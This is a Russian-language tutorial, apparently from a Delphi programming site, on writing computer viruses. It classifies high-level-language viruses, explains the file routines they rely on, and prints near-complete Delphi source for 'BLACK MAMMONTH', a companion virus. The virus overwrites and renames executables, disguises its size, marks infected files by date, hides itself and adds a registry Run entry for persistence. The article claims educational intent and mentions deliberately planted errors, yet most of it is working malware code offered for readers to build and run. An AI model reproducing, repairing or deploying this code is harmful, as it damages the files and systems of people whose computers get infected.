Вирус на Delphi

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Dr.Klouniz

Прислал: Прокопец Антон

ВНИМАНИЕ: вся информация дана исключительно в образовательных целях

Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.

Классификация

HLLO- High Level Language Overwrite.

Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.

HLLC- High Level Language Companion.

Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic.

Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.

Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:

Связь с файлом:

procedure AssignFile(var F; FileName: string);

// Например:

AssignFile(F1, ’klizma.exe’);

Открытие файла для чтения:

procedure Reset(var F[: file; RecSize: Word]);

// Например:

Reset(F1);

Чтение инфы из файла в буфер:

procedure BlockRead(var F: file; var Buf;

Count: Integer[; var AmtTransferred: Integer]);

Здесь buf- массивчик, напр.

Buf: array[1..65535] of Char;

Count- сколько байтов ты хочешь прочесть

AmtTransfered- сколько реально прочитано.

// Например:

BlockRead(F1, Buf, 1024);

Запись из буфера в файл:

procedure BlockWrite(var f: file; var Buf; Count:

Integer[; var AmtTransferred: Integer]);

Почти то же, что и предыдущее.

Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);

Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.

Поиск файла. Без него нам никак не обойтись, надо же искать жертву J.

function FindFirst(const Path: string; Attr:

Integer; var F: TSearchRec): Integer;

Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.

F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла.

// Например:

FindFirst(‘ * .exe’, faAnyFile, sr);

Sr.Name- имя найденного файла

Sr.Size- его размер.

Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:

Result := FindFirst(‘*.exe’, faAnyFile, sr);

while result = 0 do

begin

//Сюда пишешь процедуру заражения

FindNext(sr);

end;

8.Закрытие файла, все наши с ним извращения сохраняются:

procedure CloseFile(var F: file);

9.Сдвиг рамки считывания:

procedure Seek(var F; N: Longint);

Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем:

Seek(F1,1000);

А потом уже

BlockRead (…);

10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем:

if IOResult = 0 then

Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если

{$I-}

11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow:

function BlowTheStack(I: Integer): Integer;

var

J: Integer;

begin

J := 2;

Result := BlowTheStack(I * J);

end;

12.Установка атрибутов файла:

FileSetAttr(Filename: string, FileAttr);

// Например:

FileSetAttr(‘klizma.exe’, faHidden);

Fileattr- как в findfirst.

Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.

Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алг

оритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…

Совет напоследок

Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб. P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка!

Примечание VR-online

На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.

Исходник

{

BLACK MAMMONTH VIRUS,

ОБУЧАЮЩАЯ ВЕРСИЯ.

MADE IN USSR,

Dr.Klouniz

КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:

1.Создаем каталог c:\inf

2.Компилируем вирус (Project—> Build)

3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-

измени константу и перекомпилиру }

4. Переписываем в каталог c: \inf несколько exe — файлов и вирус.Запускаем вирус.

}

{$I-} //Игнорировать I/O ошибки

{$D-} //Не вводить в код отладочную информацию

program VirDebug;

uses sysutils, //Заголовочные файлы

windows,

registry, //Работа с системным реестром

classes,

inifiles; //Работа с INI-файлами

const

VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.

//размер с указанным здесь, при необходимости измените и перекомпилируйте

var

zertva, virus: TFileStream; //Мы и жертва

//буфера для чтения записи довеска и вируса

vir, dovesok: array[1..VirLen] of Char;

result: integer; //результат FindFirst’а

client, sr: TSearchRec;

//Массив имени файла

Name: array[1..8] of string;

//Массив расширения файла

Ext: array[1..3] of string;

//Наш INI-каталог; вирус- полноценная прога под WindoZ!

Info: TINIFILE;

NewName, pr, par, FromF: string; //Разные строчки

//Дата как метка зараженности

Birth: TDateTime;

kill, slay, winvir, NewProga: file; //файлы

//Индикатор зараженности (TRUE/FALSE)

infected: boolean;

//Текстовый файл-визитка; свидетельствует о том, что это не первый

//старт виря на данном компьютере

check: textfile;

si: Tstartupinfo;

p: Tprocessinformation;

reg: TRegistry;

// Функция- копировалка

function WindowsCopyFile(FromFile, ToDir: string): boolean;

var

F: TShFileOpStruct;

begin

F.Wnd := 0;

F.wFunc := FO_COPY;

FromFile := FromFile #0;

F.pFrom := pchar(FromFile);

ToDir := ToDir #0;

F.pTo := pchar(ToDir);

F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

result := ShFileOperation(F) = 0;

end;

procedure INFECTFILES; //Процедура-инфектор

begin

//Находим исполн. файл в каталоге c:\inf\

result := FindFirst(‘c:\INF\*.exe’, faAnyFile, client);

while Result = 0 do //Если нашли, то…

begin

//Проверка на вшивость

Infected := false;

//если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен

if DateTimeToStr(FileDateToDateTime(fileage(‘c:\INF\’ client.name))) =

‘09.08.83 06:00:00’ then

infected := true;

//Проверено!

//если мы нашли не сами себя и не зараженный файл, то…

if (client.name sr.name) and (infected = false) and

(client.name ‘mammonth.exe’) then

. //Сочиним новое имя для нашей жертвы;

begin

Name[1] := inttostr(random(10));

Name[2] := inttostr(random(10));

Name[3] := inttostr(random(10));

Name[4] := inttostr(random(10));

Name[5] := inttostr(random(10));

Name[6] := inttostr(random(10));

Name[7] := inttostr(random(10));

Name[8] := inttostr(random(10));

Ext[1] := inttostr(random(10));

Ext[2] := inttostr(random(10));

Ext[3] := inttostr(random(10));

NewName := name[1] name[2] name[3] name[4] name[5] name[6]

name[7]

name[8] ‘.’ ext[1] ext[2] ext[3]; //скомпонуем новое имя

//Свяжемся с нашей жертвой

AssignFile(Kill, ‘c:\INF\’ client.name);

//Отправим ее в загон для всех таких же, с уникальным именем

ReName(Kill, ‘c:\INF\files\’ NewName);

//Фиксируем новое имя в нашем каталоге

Info := TIniFile.create(‘c:\inf\filelist.ini’);

with info do

begin

//Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла

WriteString(‘FILELIST’, client.name, NewName);

free;

end;

//А теперь заразим страшным ВИРУСОМ наш файл!

//Открываем на чтение наш семенной фонд 🙂

||virus := TFileStream.create(‘c:\inf\mammonth.exe’, fmOpenRead);

Virus.Read(vir, VirLen);

//Читаем вирус полностью (константу VirLen помнишь?)

//Если клиент поболее нас, но не более чем вдвое,

if (Client.Size > VirLen) and ((Client.Size — VirLen) <= VirLen) then

//то сравняем размеры

begin

Virus.Position := 1; //Рамка считывания- сначала

Virus.Read(Dovesok, Client.Size — VirLen); //читаем довесок

end;

//перепишем жертву по- нашему

zertva := TFileStream.create(‘c:\inf\’ client.name, fmCreate);

zertva.Write(vir, virlen); //Запишем себя в жертву

if (client.size > virlen) and ((Client.size — VirLen) <= VirLen) then

zertva.write(dovesok, client.size — virlen); //И сверху еще довесок

Birth := StrToDateTime(‘09.08.83 06:00:00’);

//поставим жертве индикатор зараженности

FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));

Zertva.FREE; //Отпускаем жертву!

Virus.FREE;

end;

Result := FindNEXT(Client); //Ищем следуюущий екзешник

end;

end;

procedure REGISTRATION;

begin

//первый раз, в первый класс!

MkDir(‘c:\inf\files’); //Создадим загон для жертв

AssignFile(check, ‘c:\inf\present.dat’); //Делаем файл-визитку

ReWrite(check);

WriteLn(check, ‘BLACK MAMMONTH virus is now active in this computer’);

CloseFile(check); //Сделано!

par := ParamStr(0); //Посмотрим полное имя нашего файла с путем

WindowsCopyFile(Par, ‘c:\inf\’); //скопируем его в рабочий каталог (папку:))

AssignFile(winvir, ‘c:\inf\’ sr.name); //Найдем его в рабочем каталоге

ReName(winvir, ‘c:\inf\mammonth.exe’); //…И переименуем в mammonth.exe

Reg := TRegistry.Create;

//И пусть этот маммонт запускается каждый раз!

FileSetAttr(‘c:\inf\mammonth.exe’, faHidden);

with Reg do

begin

if OpenKey(‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’, true) then

begin

WriteString(‘MAMMONTH’, ‘c:\windows\mammonth.exe’);

CloseKey;

end;

end;

//Все. Мы в реестре.

//Халтим вирус с правдоподобным сообщением-

//сюда можно вписать процедуру вызова StackOverflow

end;

//Процедура исполнения оригинальной проги

procedure EXECPROGRAM

begin

Info := TIniFile.Create(‘c:\inf\filelist.ini’); //Заглянем в каталог

FromF := Info.ReadString(‘FILELIST’, Sr.Name, ‘NewName’);

//Вытащим из загона нужный файл

WindowsCopyFile(‘c:\inf\files\’ FromF, ‘c:\inf\’);

AssignFile(NewProga, ‘c:\inf\’ FromF);

ReName(NewProga, ‘c:\inf\’ ‘_’ Sr.Name); //сделаем левый файл

PR := ‘c:\inf\’ ‘_’ Sr.Name;

Info.Free;

//Создали, теперь заКапустим его!!!

FillChar(Si, SizeOf(Si), 0);

with Si do

begin

cb := SizeOf(Si);

dwFlags := startf_UseShowWindow;

wShowWindow := 4;

end;

//Application.Minimize;

Pr := Pr #0;

Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,

nil, si, p);

Waitforsingleobject(p.hProcess, infinite);

//Application.Restore;

//Все, отпахала юзерская прога- потрем ее на хрен!

AssignFile(slay, pr);

Erase(slay);

end.

{

КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ

}

begin

//узнаем имя файла, откуда стартовали

FindFirst(ParamStr(0), faAnyFile, sr);

//А вдруг первый раз на этом компе???

AssignFile(check, ‘c:\inf\present.dat’);

Reset(check);

if IOresult 0 then //Если нашего файлика-визитки нет, пора зарегиться тут

begin

REGISTRATION;

INFECTFILES;

HaLt;

end;

if sr.name = ‘mammonth.exe’ then

begin

//Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол

//INFECTFILES;

HALT;

end;

INFECTFILES;

EXECPROGRAM;

{ END OF THE WORLD NEAR }

end.

{/codecitation}

Добавить комментарий